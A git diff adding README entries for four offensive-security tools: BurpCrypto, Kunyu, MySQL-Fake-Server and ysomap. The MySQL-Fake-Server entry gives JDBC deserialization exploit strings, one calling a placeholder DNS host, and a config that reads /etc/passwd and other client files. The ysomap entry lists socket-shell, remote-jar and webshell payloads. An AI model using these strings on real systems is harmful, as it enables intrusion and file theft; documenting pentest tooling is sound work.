parent
ac03225066
commit
0cb9fad323
@ -0,0 +1,58 @@ |
||||
## BurpCrypto <https://github.com/whwlsfb/BurpCrypto> |
||||
<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e--> |
||||
![Language](https://img.shields.io/badge/Language-Java-blue) |
||||
![Author](https://img.shields.io/badge/Author-whwlsfb-orange) |
||||
![GitHub stars](https://img.shields.io/github/stars/whwlsfb/BurpCrypto.svg?style=flat&logo=github) |
||||
![Version](https://img.shields.io/badge/Version-V0.0.1-red) |
||||
![Time](https://img.shields.io/badge/Join-20211122-green) |
||||
<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451--> |
||||
|
||||
Burpcrypto is a collection of burpsuite encryption plug-ins, supporting AES/RSA/DES/ExecJs(execute JS encryption code in burpsuite). |
||||
|
||||
# Build |
||||
`$ mvn package` |
||||
# Usage |
||||
[中文使用说明](https://blog.wanghw.cn/burpcrypto) |
||||
|
||||
- Download the precompiled jar package from [Releases](https://github.com/whwlsfb/BurpCrypto/releases). |
||||
- Add this jar package to your burpsuite's Extensions. |
||||
- Switch to BurpCrypto tab, select you need Cipher tab. |
||||
- Set key or some value. |
||||
- press "Add processor", and give a name for this processor. |
||||
- Switch to Intruder->Payloads->Payload Processing. |
||||
- press "Add", select "Invoke Burp extension", and select processor you just created. |
||||
- press "Start attack", have fun! |
||||
|
||||
## Key Example |
||||
|
||||
- Aes Key(UTF8String): abcdefgabcdefg12 |
||||
- Aes IV(UTF8String): abcdefgabcdefg12 |
||||
- Rsa X509 Key: MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCC0hrRIjb3noDWNtbDpANbjt5Iwu2NFeDwU16Ec87ToqeoIm2KI+cOs81JP9aTDk/jkAlU97mN8wZkEMDr5utAZtMVht7GLX33Wx9XjqxUsDfsGkqNL8dXJklWDu9Zh80Ui2Ug+340d5dZtKtd+nv09QZqGjdnSp9PTfFDBY133QIDAQAB |
||||
- Rsa Modulus: ca27d90f03753cbbc9958011baf701ac99305b63f68e26ab5617593e01d2fb519127fb87bafbe6e0472ec3a038575fa292adadbc79390a955a61b29431f78f4734773048a45dcf100e23cabf2df11a55aa90cd6b024a44eed1096c3b9e1408d46aae54d7291b82fe4b7867c5eaa45e9cc0ba7f7ae3e5593337c7dcbace2d02ed2fbbff26c6df8a32bb26be80603fcd94c6c8dbd67878d77b37fedcf808e3d8f469aaa7c65d033d547a5c8ea9bdd5c89b836c65852f355a5efd9c7137a186a62b5eb0e052c8be3096d3b51133f8a8c108292a296c99d37bad42bcc3f6c39fa5e583582942b4fc4e7ff4b6779fff5bbaddc65b19c7c57d8cdb39b1a994e08d4a2f50793d8f707d069c380baf0f64bfdce3b35d0b5c5c59348a35a082012aaf4991080abf518b55787969ff24186cb95f7e7218c904cf1dcaeb5bed723e305b83f2e85d6f116d2c7400f9e49d904db8a5a3a0701cdb579fbf3128511acd0f789ece1233ed926d705b3b0dfa34bf33f5ae4bdc611a602aa03aaae13400bc7ad3813ea4474dc62de3d0cb1f5aac277d895a75d38f9b920938fa6b1de35bd6132798c122403c685bdb6e5e24bbd70cfb3e968da0b8affd398e539e7c1e7add09891780bcbd278f3900499ae09cee0dc62e3f92e70001bab6d46261d2801a37f80d84d0e39fce6eaedf106a61b5961960641b9db0e4e23c770e6370ac5d61c6c9eb0f07 |
||||
- Rsa Exponent: 010001 |
||||
- DES Key: 12345678 |
||||
- DESede Key: 123456781234567812345678 |
||||
|
||||
|
||||
## Screenshots |
||||
|
||||
AES Example: |
||||
|
||||
![](https://github.com/whwlsfb/BurpCrypto/raw/master/screenshot/aes.gif) |
||||
|
||||
ExecJs Example (Here is the modified MD5 algorithm): |
||||
|
||||
![](https://github.com/whwlsfb/BurpCrypto/raw/master/screenshot/execjs.gif) |
||||
|
||||
Quick Crypto: |
||||
|
||||
![](https://github.com/whwlsfb/BurpCrypto/raw/master/screenshot/quick_crypto.gif) |
||||
|
||||
|
||||
<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b--> |
||||
## 项目相关 |
||||
|
||||
|
||||
## 最近更新 |
||||
|
||||
<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527--> |
@ -0,0 +1,289 @@ |
||||
## Kunyu <https://github.com/knownsec/Kunyu> |
||||
<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e--> |
||||
![Language](https://img.shields.io/badge/Language-Python-blue) |
||||
![Author](https://img.shields.io/badge/Author-风起-orange) |
||||
![GitHub stars](https://img.shields.io/github/stars/knownsec/Kunyu.svg?style=flat&logo=github) |
||||
![Version](https://img.shields.io/badge/Version-V1.6.1-red) |
||||
![Time](https://img.shields.io/badge/Join-20211122-green) |
||||
<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451--> |
||||
|
||||
|
||||
# 0x00 介绍 |
||||
|
||||
## 工具介绍 |
||||
|
||||
Kunyu (坤舆),名字取自 <坤舆万国全图> ,测绘实际上是一个地理信息相关的专业学科,针对海里的、陆地的、天上的地理信息进行盘点。同样应用于网络空间,发现未知、脆弱的资产也是如此,更像是一张网络空间地图,用来全面描述和展示网络空间资产、网络空间各要素及要素之间关系,以及网络空间和现实空间的映射关系。所以我认为“坤舆”还是比较贴合这个概念的。 |
||||
|
||||
Kunyu(坤舆),旨在让企业资产收集更高效,使更多安全相关从业者了解、使用网络空间测绘技术。 |
||||
|
||||
## 应用场景 |
||||
|
||||
对于 kunyu 的使用,应用场景可以有很多,例如: |
||||
|
||||
* 企业内遗忘的,孤立的资产进行识别并加入安全管理。 |
||||
* 企业外部暴露资产进行快速排查,统计。 |
||||
* 红蓝对抗相关需求使用,对捕获IP进行批量检查。 |
||||
* 批量收集脆弱资产(0day/1day) 影响内的设备、终端。 |
||||
* 新型网络犯罪涉案站点信息进行快速收集,合并,进行更高效的研判、分析。 |
||||
* 对互联网上受相关漏洞影响的脆弱资产,进行统计、复现。 |
||||
* ....... |
||||
|
||||
# 0x01 安装 |
||||
|
||||
**需要Python3以上的支持** |
||||
|
||||
``` |
||||
git clone https://github.com/knownsec/Kunyu.git |
||||
cd Kunyu |
||||
pip3 install -r requirements.txt |
||||
|
||||
Linux: |
||||
python3 setup.py install |
||||
kunyu console |
||||
|
||||
Windows: |
||||
cd kunyu |
||||
python3 console.py |
||||
|
||||
PYPI: |
||||
pip3 install kunyu |
||||
|
||||
P.S. Windows同样支持python3 setup.py install |
||||
``` |
||||
|
||||
# 0x02 配置说明 |
||||
在第一次运行程序时通过输入以下命令进行初始化操作,提供了其他登录方式,但是推荐使用API的方式,因为用户名/密码登录需要额外做一次请求,所以理论上API的方式会更加高效。 |
||||
``` |
||||
kunyu init --apikey <your zoomeye key> --seebug <your seebug key> |
||||
``` |
||||
![](https://github.com/knownsec/Kunyu/raw/main/images/setinfo.png) |
||||
|
||||
初次使用需要通过ZoomEye登录凭证,才使用该工具进行信息收集。 |
||||
|
||||
**ZoomEye访问地址:https://www.zoomeye.org/** |
||||
|
||||
**Seebug访问地址:https://www.seebug.org/** |
||||
|
||||
可以通过以下命令自定义输出文件路径 ,默认输出路径为:C:\Users\active user\kunyu\output\ |
||||
|
||||
```bash |
||||
kunyu init --output C:\Users\风起\kunyu\output |
||||
``` |
||||
|
||||
![](https://github.com/knownsec/Kunyu/raw/main/images/setoutput.png) |
||||
|
||||
# 0x03 工具使用 |
||||
|
||||
## 命令详解 |
||||
|
||||
``` |
||||
kunyu console |
||||
``` |
||||
![](https://github.com/knownsec/Kunyu/raw/main/images/infos.png) |
||||
|
||||
**Kunyu Command** |
||||
|
||||
``` |
||||
Global commands: |
||||
info Print User info |
||||
SearchHost <query> Basic Host search |
||||
SearchWeb <query> Basic Web search |
||||
SearchIcon <File>/<URL> Icon Image search |
||||
SearchBatch <File> Batch search Host |
||||
SearchCert <Domain> SSL certificate Search |
||||
SearchDomain <Domain> Domain name associated/subdomain search |
||||
EncodeHash <encryption> <query> Encryption method interface |
||||
HostCrash <IP> <Domain> Host Header Scan hidden assets |
||||
Seebug <query> Search Seebug vulnerability information |
||||
set <option> Set Global arguments values |
||||
view/views <ID> Look over http/ssl row data information |
||||
SearchKeyWord Query sensitive information by keyword |
||||
Pocsuite3 Invoke the pocsuite component |
||||
ExportPath Returns the path of the output file |
||||
clear Clear the console screen |
||||
show Show can set options |
||||
help Print Help info |
||||
exit Exit KunYu & |
||||
``` |
||||
|
||||
**OPTIONS** |
||||
|
||||
``` |
||||
ZoomEye: |
||||
page <Number> 查询返回页数(默认查询一页,每页20条数据) |
||||
dtype <0/1> 查询关联域名/子域名(设置0为查询关联域名,反之为子域名) |
||||
stype <v4/v6> 设置获取数据类型IPV4或IPV6,默认为 ipv4,ipv6 全选 |
||||
btype <host/web> 设置批量查询的API接口(默认为HOST) |
||||
timeout <num> 设置Kunyu HTTP请求的超时时间 |
||||
``` |
||||
|
||||
## 使用案例 |
||||
|
||||
*Kunyu(坤舆)的使用教程如下所示* |
||||
|
||||
**用户信息** |
||||
|
||||
![](https://github.com/knownsec/Kunyu/raw/main/images/userinfo.png) |
||||
|
||||
**HOST 主机搜索** |
||||
|
||||
![](https://github.com/knownsec/Kunyu/raw/main/images/searchhost.png) |
||||
|
||||
**Web 主机搜索** |
||||
|
||||
![](https://github.com/knownsec/Kunyu/raw/main/images/searchweb.png) |
||||
|
||||
**批量 IP 搜索** |
||||
|
||||
![](https://github.com/knownsec/Kunyu/raw/main/images/searchbatch.png) |
||||
|
||||
**Icon 搜索** |
||||
|
||||
在搜集企业资产时,我们可以使用这样的方式进行检索相同 ico 图标资产,在关联相关企业资产时,通常会有不错的效果。但是需要注意的是如果某些站点也使用这个 ico 图标,可能会关联出无关资产(但是无聊用别人 ico 图标的人总归是少数吧)。支持url或本地文件的方式搜索。 |
||||
|
||||
**命令格式:** |
||||
|
||||
SearchIocn https://www.baidu.com/favicon.ico |
||||
|
||||
SearchIcon /root/favicon.ico |
||||
|
||||
![](https://github.com/knownsec/Kunyu/raw/main/images/searchico.png) |
||||
|
||||
**SSL证书搜索** |
||||
|
||||
通过 SSL 证书的序列号进行查询,这样关联出来的资产较为精准,能搜索出使用相同证书的服务。碰到https站点时,可以通过这样的方式。 |
||||
|
||||
![](https://github.com/knownsec/Kunyu/raw/main/images/searchcert.png) |
||||
|
||||
**特征搜索** |
||||
|
||||
通过HTTP请求包特征或网站相关特征可以进行更加精准的串并相同框架资产 |
||||
|
||||
![](https://github.com/knownsec/Kunyu/raw/main/images/headersearch.png) |
||||
|
||||
**多因素查询** |
||||
|
||||
同样kunyu也支持多因素条件查询关联资产,可以通过ZoomEye逻辑运算语法实现。 |
||||
|
||||
![](https://github.com/knownsec/Kunyu/raw/main/images/factor.png) |
||||
|
||||
**关联域名/子域名搜索** |
||||
|
||||
对关联域名以及子域名进行搜索,默认查询关联域名,可以通过设置 dtype 参数设置 **关联域名/子域名** 两种模式。 |
||||
|
||||
命令格式:**SearchDomain Domain** |
||||
|
||||
![](https://github.com/knownsec/Kunyu/raw/main/images/searchdomain.png) |
||||
|
||||
**设置获取数据类型** |
||||
|
||||
在V1.6.1版本后,用户可以通过stype参数设置获取的数据类型为IPV4或者IPV6,实现应用场景,默认参数为v4。 |
||||
|
||||
命令格式:**set stype = v6** |
||||
|
||||
![](https://github.com/knownsec/Kunyu/raw/main/images/stype.png) |
||||
|
||||
**查看Banner信息** |
||||
|
||||
用户可以通过view命令查看指定序号对应信息的Banner,从而进一步分析前端代码及Header头,用户可以截取banner信息进一步的关联匹配。 |
||||
|
||||
命令格式: **view ID** |
||||
|
||||
![](https://github.com/knownsec/Kunyu/raw/main/images/view.png) |
||||
|
||||
用户也可以通过views命令查看指定序号的SSL证书信息,通过提取SLL证书信息中的敏感信息进一步关联。 |
||||
|
||||
命令格式:**views ID** |
||||
|
||||
![](https://github.com/knownsec/Kunyu/raw/main/images/views.png) |
||||
|
||||
**敏感信息收集** |
||||
|
||||
在Kunyu v1.6.0版本后,增加了对banner中敏感信息的获取,平时使用正常使用相关语法,设置页数,Kunyu会自动收集上一次查询结果banner信息中的敏感数据,然后通过SearchKeyWord命令查看结果。**目前将持续测试关注该功能点**。 |
||||
|
||||
![](https://github.com/knownsec/Kunyu/raw/main/images/keyword.png) |
||||
|
||||
**系统命令执行** |
||||
|
||||
在Kunyu v1.6.0后增加了对系统命令执行的支持,可以通过执行常用的一些系统命令进行更方便有效的调试测绘数据,具体可执行命令列表可见README文件Issue中第11条。 |
||||
|
||||
**示例一** |
||||
|
||||
![](https://github.com/knownsec/Kunyu/raw/main/images/systems.png) |
||||
|
||||
**示例二** |
||||
|
||||
![](https://github.com/knownsec/Kunyu/raw/main/images/system.png) |
||||
|
||||
**编码哈希计算** |
||||
|
||||
在一些场景下,可以通过该命令进行常用的HASH加密/编码,如:BASE64、MD5、mmh3、HEX编码,通过这种方式进行调试。 |
||||
|
||||
**命令格式:** |
||||
|
||||
EncodeHash hex 7239dcc9beb5c9cd795415f9 |
||||
EncodeHash md5 https://www.baidu.com/favicon.ico |
||||
EncodeHash md5 /root/favicon.ico |
||||
EncodeHash mmh3 https://www.baidu.com/favicon.ico |
||||
EncodeHash mmh3 /root/favicon.ico |
||||
EncodeHash base64 dasdasdsa |
||||
|
||||
![](https://github.com/knownsec/Kunyu/raw/main/images/encode.png) |
||||
|
||||
**Seebug漏洞查询** |
||||
|
||||
通过输入想要查找的框架、设备等信息,查询历史相关漏洞,但是需要注意仅支持英文,这里后期会进行改进,升级。 |
||||
|
||||
命令格式: **Seebug tongda** |
||||
|
||||
![](https://github.com/knownsec/Kunyu/raw/main/images/seebug.png) |
||||
|
||||
**设置参数** |
||||
|
||||
当设置set page = 2时,返回结果为40条,大家可以通过修改page参数,设置查询的页数,需要注意1 page = 20/条 ,可以根据需求修改该值,获取更多返回结果。 |
||||
|
||||
通过show显示可配置的参数,以及参数当前的值。 |
||||
|
||||
![](https://github.com/knownsec/Kunyu/raw/main/images/show.png) |
||||
|
||||
![](https://github.com/knownsec/Kunyu/raw/main/images/set.png) |
||||
|
||||
**Pocsuite3 联动** |
||||
|
||||
在v1.3.1之后的版本中,您可以使用kunyu进行联动pocsuite3的console模式进行一体化的使用。 |
||||
|
||||
![](https://github.com/knownsec/Kunyu/raw/main/images/pocsuite.png) |
||||
|
||||
**HOSTS头碰撞** |
||||
|
||||
通过HOSTS碰撞,可以有效的碰撞出内网中隐藏的资产,根据中间件httpf.conf中配置的ServerName域名和IP捆绑访问即可直通内网业务系统!后续通过设置本地hosts文件实现本地DNS解析,因为本地hosts文件优先级高于DNS服务器解析。支持通过ZoomEye域名库反查或者读取TXT文件获取域名列表。 |
||||
|
||||
**命令格式:** |
||||
|
||||
HostCrash C:\ip.txt C:\host.txt |
||||
HostCrash C:\ip.txt baidu.com |
||||
HostCrash 1.1.1.1 baidu.com |
||||
HostCrash 1.1.1.1 G:\host.txt |
||||
|
||||
**示例一** |
||||
|
||||
![](https://github.com/knownsec/Kunyu/raw/main/images/searchcrash.png) |
||||
|
||||
**示例二** |
||||
|
||||
![](https://github.com/knownsec/Kunyu/raw/main/images/searchcrashs.png) |
||||
|
||||
**数据结果** |
||||
|
||||
搜索的所有结果都保存在用户根目录下,并根据当前时间戳创建目录。单次启动的所有查询结果都在一个目录下,保存为Excel格式,给予更加直观的体验。可以通过ExportPath命令返回输出路径。 |
||||
|
||||
![](https://github.com/knownsec/Kunyu/raw/main/images/output.png) |
||||
|
||||
|
||||
<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b--> |
||||
## 项目相关 |
||||
|
||||
|
||||
## 最近更新 |
||||
|
||||
<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527--> |
@ -0,0 +1,137 @@ |
||||
## MySQL-Fake-Server <https://github.com/fnmsd/MySQL_Fake_Server> |
||||
<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e--> |
||||
![Language](https://img.shields.io/badge/Language-Python-blue) |
||||
![Author](https://img.shields.io/badge/Author-fnmsd-orange) |
||||
![GitHub stars](https://img.shields.io/github/stars/fnmsd/MySQL_Fake_Server.svg?style=flat&logo=github) |
||||
![Version](https://img.shields.io/badge/Version-V0.0.1-red) |
||||
![Time](https://img.shields.io/badge/Join-20211122-green) |
||||
<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451--> |
||||
|
||||
|
||||
用于渗透测试过程中的假MySQL服务器,纯原生python3实现,不依赖其它包。 |
||||
|
||||
修改自项目 <https://github.com/waldiTM/python-mysqlproto> |
||||
|
||||
## 用途 |
||||
|
||||
1. MySQL服务端读取客户端文件漏洞利用 |
||||
2. MySQL JDBC客户端Java反序列化漏洞利用 |
||||
|
||||
## 说明 |
||||
1. 需要python3环境,无任何其它依赖。 |
||||
2. 运行:`python server.py` |
||||
3. 需要[ysoserial](https://github.com/frohoff/ysoserial)才能用反序列化功能,支持`ServerStatusDiffInterceptor`和`detectCustomCollations`两种方式。 |
||||
4. MySQL的用户名支持冒号、斜杠等特殊符号,但是能否使用还需看具体客户端环境。 |
||||
5. 根据 **登录用户名** 返回文件读取利用报文、反序列化利用报文。 |
||||
6. **推荐用法:** config.json中预置了一部分配置信息,可以自己修改添加指定用户名对应的读取文件和yso参数,详细看下面的说明 |
||||
|
||||
## 测试环境: |
||||
1. jdk1.8.20+mysql-connector-java 8.0.14/5.1.22(Windows下反序列化(JRE8u20)、文件读取) |
||||
2. PHPMyAdmin(Windows+Linux文件读取,可以使用相对路径读取php文件内容) |
||||
3. Navicat 12(Windows下文件读取,需要切换到mysql_clear_password认证插件) |
||||
|
||||
## 使用方法 |
||||
默认的config.json: |
||||
|
||||
```json |
||||
{ |
||||
"config":{ |
||||
"ysoserialPath":"ysoserial-0.0.6-SNAPSHOT-all.jar", //YsoSerial位置 |
||||
"javaBinPath":"java",//java运行命令位置 |
||||
"fileOutputDir":"./fileOutput/",//读取文件的保存目录 |
||||
"displayFileContentOnScreen":true,//是否输出文件内容预览到控制台 |
||||
"saveToFile":true//是否保存文件 |
||||
}, |
||||
//文件读取参数 |
||||
"fileread":{ |
||||
"win_ini":"c:\\windows\\win.ini",//key为设定的用户名,value为要读取的文件路径 |
||||
"win_hosts":"c:\\windows\\system32\\drivers\\etc\\hosts", |
||||
"win":"c:\\windows\\", |
||||
"linux_passwd":"/etc/passwd", |
||||
"linux_hosts":"/etc/hosts", |
||||
"index_php":"index.php", |
||||
"__defaultFiles":["/etc/hosts","c:\\windows\\system32\\drivers\\etc\\hosts"]//未知用户名情况下随机选择文件读取 |
||||
|
||||
}, |
||||
//ysoserial参数 |
||||
"yso":{ |
||||
"Jdk7u21":["Jdk7u21","calc"]//key为设定的用户名,value为ysoserial参数的参数 |
||||
} |
||||
} |
||||
``` |
||||
|
||||
1. 文件读取: |
||||
|
||||
- 可以在config.json中fileread节中预定义好要读取的文件(比如win_ini用户名读取win.ini文件) |
||||
- 可以用fileread_开头的用户名(例如使用用户名fileread\_/etc/passwd来读取/etc/passwd文件) |
||||
|
||||
2. 反序列化 |
||||
- 可在config.json中yso节预定义好yso payload的生成参数(比如Jdk7u21用户名返回Jdk7u21执行计算器的gadget) |
||||
|
||||
- 可以用yso_开头的用户名,格式yso\_payload类型\_命令(例如jdk7u21调用calc就使用用户名yso\_Jdk7u21\_calc) |
||||
|
||||
jdbc连接串示例: |
||||
- `jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_Jdk7u21_calc` |
||||
- `jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_URLDNS_http://yourdns.log.addr/` |
||||
|
||||
3. 关于认证:默认认证插件一般使用**mysql_native_password**,但是由于协议实现的问题,navicat下会连接失败,此时在使用的用户名后追加 **_clear** 即可切换为mysql_clear_password,navicat连接成功,读取到文件。 |
||||
|
||||
- **例如:** fileread\_/etc/passwd_clear |
||||
|
||||
## JDBC连接串整理 |
||||
|
||||
写分析的时候整理了一下:<https://www.anquanke.com/post/id/203086> |
||||
用户名请参考上面的说明进行修改。 |
||||
|
||||
### ServerStatusDiffInterceptor触发 |
||||
|
||||
- **8.x:** `jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc` |
||||
|
||||
- **6.x(属性名不同):** `jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc` |
||||
|
||||
- **5.1.11及以上的5.x版本(包名没有了cj):**` jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc` |
||||
|
||||
- **5.1.10及以下的5.1.X版本:** 同上,但是需要连接后执行查询。 |
||||
|
||||
- **5.0.x:** 还没有`ServerStatusDiffInterceptor`这个东西┓( ´∀` )┏ |
||||
|
||||
### detectCustomCollations触发: |
||||
|
||||
- **5.1.41及以上:** 不可用 |
||||
|
||||
- **5.1.29-5.1.40:** `jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc` |
||||
|
||||
- **5.1.28-5.1.19:** `jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=yso_JRE8u20_calc` |
||||
|
||||
- **5.1.18以下的5.1.x版本:** 不可用 |
||||
|
||||
- **5.0.x版本不可用** |
||||
|
||||
## 效果 |
||||
|
||||
Navicat文件读取(用户名使用win_ini_clear) |
||||
|
||||
![image-20200414150112426](https://github.com/fnmsd/MySQL_Fake_Server/raw/master/README.assets/image-20200414150112426.png) |
||||
|
||||
JDK 1.8.20+mysql-connector-java 8.0.14反序列化,使用用户名:yso_JRE8u20_calc |
||||
|
||||
![image-20200414150417471](https://github.com/fnmsd/MySQL_Fake_Server/raw/master/README.assets/image-20200414150417471.png) |
||||
|
||||
## 踩过的坑 |
||||
|
||||
1. SHOW VARIABLES 相关 |
||||
- 会读取两列,所以需要返回两列,否则会报错。 |
||||
- JDBC连接的时候回通过调用`SHOW VARIABLES`获取服务器变量,其中最重要的是两个时区变量`system_time_zone`和`time_zone`,在getObject过程,会调用到时区相关信息,没有这两个会直接报错 |
||||
2. jdbc的Blob判定条件除了字段类型为blob,还要求字段声明的org_table字段不为空,flags大于128,否则会被当做text进行解析。(com.mysql.cj.protocol.a.NativeProtocol的findMysqlType方法) |
||||
3. 原python-mysqlproto中的序列检测需要去掉,否则会出错(这个应该是哪里处理有问题导致了序号重置)。 |
||||
4. `SHOW SESSION STATUS`和`SHOW COLLATION`的公用列是第二列 |
||||
5. mysql java connector 5.x的环境下,需要返回的server版本大于等于5.0.0才会走到`Util.resultSetToMap`进入getObject |
||||
|
||||
|
||||
<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b--> |
||||
## 项目相关 |
||||
|
||||
|
||||
## 最近更新 |
||||
|
||||
<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527--> |
@ -0,0 +1,90 @@ |
||||
## ysomap <https://github.com/wh1t3p1g/ysomap> |
||||
<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e--> |
||||
![Language](https://img.shields.io/badge/Language-Java-blue) |
||||
![Author](https://img.shields.io/badge/Author-wh1t3p1g-orange) |
||||
![GitHub stars](https://img.shields.io/github/stars/wh1t3p1g/ysomap.svg?style=flat&logo=github) |
||||
![Version](https://img.shields.io/badge/Version-V0.1.1-red) |
||||
![Time](https://img.shields.io/badge/Join-20211122-green) |
||||
<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451--> |
||||
|
||||
|
||||
Ysomap是一款适配于各类实际复杂环境的Java反序列化利用框架,可动态配置具备不同执行效果的Java反序列化利用链payload,以应对不同场景下的反序列化利用。 |
||||
|
||||
此外,ysomap支持多种exploits,用于生成或配置一些evil server,或者是常见漏洞的exp。 |
||||
``` |
||||
[+] exploits(11) payloads(31) bullets(28) |
||||
``` |
||||
## #1 如何使用 |
||||
|
||||
### 生成 |
||||
由于最新版XStream的payload需要JDK8的环境进行编译,所以后续运行需在JDK8的环境下运行 |
||||
|
||||
使用`mvn clean package -DskipTests` |
||||
|
||||
生成的jar位于`cli/target/ysomap.jar` |
||||
|
||||
版本>=v0.0.1支持两种运行模式 |
||||
|
||||
1. cli模式 |
||||
执行`java -jar ysomap.jar cli`,终端模式 |
||||
|
||||
2. script模式 |
||||
执行`java -jar ysomap.jar script /path/to/script.yso`,脚本模式 |
||||
|
||||
ps: 后续版本为了适配XStream的相关gadget加入了很多jdk的对象,所以如果要使用xstream的gadget,ysomap最好运行在jdk8的环境下。 |
||||
### 基础使用方法 |
||||
|
||||
参见[YSOMAP食用指北](https://github.com/wh1t3p1g/ysomap/wiki/YSOMAP%E9%A3%9F%E7%94%A8%E6%8C%87%E5%8C%97) |
||||
|
||||
## #2 当前进度 |
||||
|
||||
### DONE |
||||
|
||||
- [x] 支持CommonsCollections系列payload |
||||
- [x] 支持执行效果bullet:远程jar载入、命令执行、代码执行、发起jndi效果、tomcat内存马、延时判断、文件写入、socket shell。 |
||||
- [x] 支持现有RMI系列攻击包 [原理1](http://blog.0kami.cn/2020/02/06/rmi-registry-security-problem/) [原理2](http://blog.0kami.cn/2020/02/09/jndi-with-rmi/) [原理3](https://mogwailabs.de/blog/2020/02/an-trinhs-rmi-registry-bypass/) |
||||
- [x] 支持现有LDAP系列攻击包 [原理](http://blog.0kami.cn/2020/03/01/jndi-with-ldap/) |
||||
- [x] 支持HTTP服务动态挂载恶意的class文件或jar文件 |
||||
- [x] 支持URLDNS |
||||
- [x] 支持现有JMX系列攻击包 [原理](http://blog.0kami.cn/2020/03/10/java-jmx-rmi/) |
||||
- [x] 支持fastjson JdbcRowSetImpl、TemplatesImpl gadget [原理](http://blog.0kami.cn/2020/04/13/talk-about-fastjson-deserialization/) |
||||
- [x] 支持现有XStream系列payload包 [原理](http://blog.0kami.cn/2020/04/18/talk-about-xstream-deserialization/) |
||||
- [x] 支持weblogic XMLDecoder payloads |
||||
|
||||
### TODO |
||||
|
||||
- [ ] 支持weblogic系列攻击包 |
||||
- [ ] 支持websphere系列攻击包 |
||||
|
||||
## #3 由来 |
||||
|
||||
在实际分析ysoserial的利用链时,有时候会觉得框架写的太死,有以下几个缺点: |
||||
|
||||
1. 同一个利用链如果想改变一下最后的利用效果,如命令执行改成代码执行,我们需要改写这个利用链或者是重新增加一个利用链。这时,我们其实可以看到利用链的前半部分是不变的,变的只是后续的利用效果。 |
||||
2. ysoserial仅实现了常规的序列化利用链,对于类似JSON格式的序列化利用链,以当前的这个框架扩展起来会比较麻烦 |
||||
|
||||
所以萌生了开发一个更加灵活的框架来扩展反序列化利用链,也就是当前这个试验品ysomap。 |
||||
|
||||
PS:YSOMAP项目为另一个项目的子项目,后续将开源该项目,敬请期待...... |
||||
|
||||
## #4 原理 |
||||
|
||||
我将利用链切分成了两个部分**payload**和**bullet**: |
||||
|
||||
1. payload:指代利用链的前序部分 |
||||
2. bullet:指代最终利用链可达成的效果 |
||||
|
||||
#### 实际案例分析 |
||||
|
||||
CommonsCollection1和3,在分析时我们可以看到实际1和3的区别在于1使用的是`InvokerTransformer`,而3使用的是`templatesImpl`的方式。那么提取相同的前序payload部分,我们只需写两个不同的bullet即可。而且这两个bullet也同样能被用在其他的payload上。 |
||||
|
||||
实际还有就是我在写RMIRegistryExploit时,也有这种可将不变部分重用的地方,而无需2,3之类的出现。 |
||||
|
||||
|
||||
<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b--> |
||||
## 项目相关 |
||||
|
||||
|
||||
## 最近更新 |
||||
|
||||
<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527--> |
Loading…
Reference in new issue